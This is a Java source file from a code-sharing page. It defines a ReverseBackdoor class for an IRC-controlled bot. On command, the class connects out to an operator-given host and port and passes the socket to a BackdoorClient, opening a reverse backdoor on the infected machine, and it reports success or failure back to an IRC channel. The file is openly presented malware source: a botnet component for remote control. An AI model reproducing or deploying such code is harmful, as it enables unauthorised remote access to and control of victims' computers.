reversebackdoor.java

来自「this is a sample of a java bot. use to e」· Java 代码 · 共 33 行

JAVA
33
字号
import java.net.Socket;
import java.io.IOException;

class ReverseBackdoor extends Thread {

	private IRC irc;
	private String channel;

	private String host;
	private int port;

	public ReverseBackdoor(IRC irc, String channel, String host, int port) {
		this.irc = irc;
		this.channel = channel;
		this.host = host;
		this.port = port;
	}

	public void run() {
		if(MiscStatus.backdoorConnected) {
			this.irc.sendMessage(this.channel, "Reverse backdoor already exists.");
		} else {
			try {
				Socket socket = new Socket(this.host, this.port);
				new BackdoorClient(socket);
				MiscStatus.backdoorConnected = true;
			} catch(IOException ioe) {
				this.irc.sendMessage(this.channel, "Couldn't connect to " + this.host + ":" + this.port + " IOException thrown: " + ioe.toString());
			}
		}
	}

}

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?